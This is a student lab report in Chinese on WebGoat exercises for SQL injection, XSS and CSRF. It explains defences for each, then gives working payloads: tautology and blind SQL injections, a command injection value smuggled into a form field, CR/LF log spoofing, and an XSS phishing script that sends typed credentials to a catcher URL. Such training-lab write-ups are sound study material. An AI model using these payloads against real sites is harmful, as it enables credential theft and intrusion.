Exp9 Web安全基础
1 基础问题回答和实验内容
1.1基础问题回答
- (1)SQL注入攻击原理,如何防御?
- 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
- 防御:
- 对用户的输入进行校验。
- 不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
- 不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
- 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
- 应用的异常信息应该给出尽可能少的提示。
- 采取辅助软件或网站平台来检测sql注入。
- (2)XSS攻击的原理,如何防御?
- 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
- 防御:
- 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
- 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
- 实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
- (3)CSRF攻击原理,如何防御?
- 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
- 防御:
- 在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
- “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
- 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
1.2 实验内容
-
Webgoat安装
- Injection Flaws攻击
- Command Injection
- Numeric SQL Injection
- Log Spoofing
- String SQL Injection
- Database Backdoors
- Blind Numeric SQL Injection
- Blind String SQL Injection
- XSS攻击——Cross-Site Scripting
- Phishing with XSS
- Stored XSS Attacks
- Reflected XSS Attacks
- CSRF攻击
- Cross Site Request Forgery(CSRF)
- CSRF Prompt By-Pass
- CSRF Token By-Pass
2 实验步骤
1.开启webgoat
- 下载webgoat-container-7.0.1-war-exec.jar
-
输入
java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,在实验过程中不要关闭。 - 在浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面 - 输入用户名密码
guest
登录
2.SQL字符串注入(String SQL Injection)
使用SQL注入,显示出数据库所有信用卡号。可以先输入Plane试一试,发现出现在 SELECT * FROM user_data WHERE last_name = 'Plane' 两个单引号中间,也就是我们可以通过控制在输入框中输入的字符串,达到控制select语句的目的
输入 'or 1='1 ,语句就变成 SELECT * FROM user_data WHERE last_name = ''or 1='1' ,这句的意思就是查询 lastname='' OR(或者)1='1' ,这里的 1='1' 永远为真,所以成功通过。
3.日志欺骗(Log Spooling)
利用日志的格式,使用换行等字符,欺骗管理员:Use CR (%0d) and LF (%0a) for a new line。
比如输入 zhyy%0d%0aLogin Succeeded for username: admin
4.Numeric SQL Injection
题目所指表单允许使用者看到天气数据,利用SQL注入可以获得所有数据信息
和之前的实验类似,只要加上一个1=1这种永真式即可达到我们的目的
使用inspect Element对源代码进行修改,在任意一个值比如101旁边加上 or 1=1;
-
实验结果
5.Command Injection
- 尝试给操作系统注入命令行,要求能够在目标主机上执行系统命令
- 通过火狐浏览器的 inspect Element 对源代码进行修改,右键点击BackDoors.help,,这样就可以直接定位到需要修改的位置,无需一行一行代码的查看了
- 例如在BackDoors.help旁边加上 "& netstat -an & ipconfig"
6.Stage 1:String SQL Injection
使用字符串SQL注入在没有正确密码的情况下登录账号boss
同样,用用户Neville登录,在密码栏中输入 or 1='1' 进行SQL注入,发现登陆失败。
查看了一下网页源码,发现输入框对输入的字符长度进行了限制,最多只允许输入8个字符
对字符长度进行修改
重新登录,登录成功
7.XPATH Injiction
使用账户户Mik/Test123,目标是试着去查看其他员工的数据。
使用一个普通的用户名和密码,XPath会起作用,但是攻击者可能会发送一个坏用户名和密码,并在不知道用户名或密码的情况下,选择一个XML节点,如下所示:
8.Blind String SQL Injection
- 使用盲注进行爆破,在“Enter your Account Number”输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='5213521352135213'), 1, 1) = 'h' ); - 根据返回的提示来判断name的范围,直至返回成功,然后把Jill输入表单,提交,如下图所示
9.Phishing with XSS
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
将这段代码输入到输入框中,点击 search 出现如下登录框,在登录框中输入用户名、密码:
点击登录后跳出弹框,其中包含用户输入的用户名、密码。攻击成功!
10.Stored XSS Attacks
要求创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
在Message中构造语句,提交后,可以发现刚刚创建的帖子20164310
11.Reflected XSS Attacks
打开xss的第三个攻击,在code框中输入 <script>alert("I am 20164310zhyy");</script
点击Purchase出现对话框,显示I am 20164310zhyy。攻击成功!
3. 实验感想
这次的实验内容比较多,但是让我更加直观的体验到了web攻击的威力,平时只是听说这些,真正自己做的时候还是很有乐趣的,博客写完忘交了,真的惨。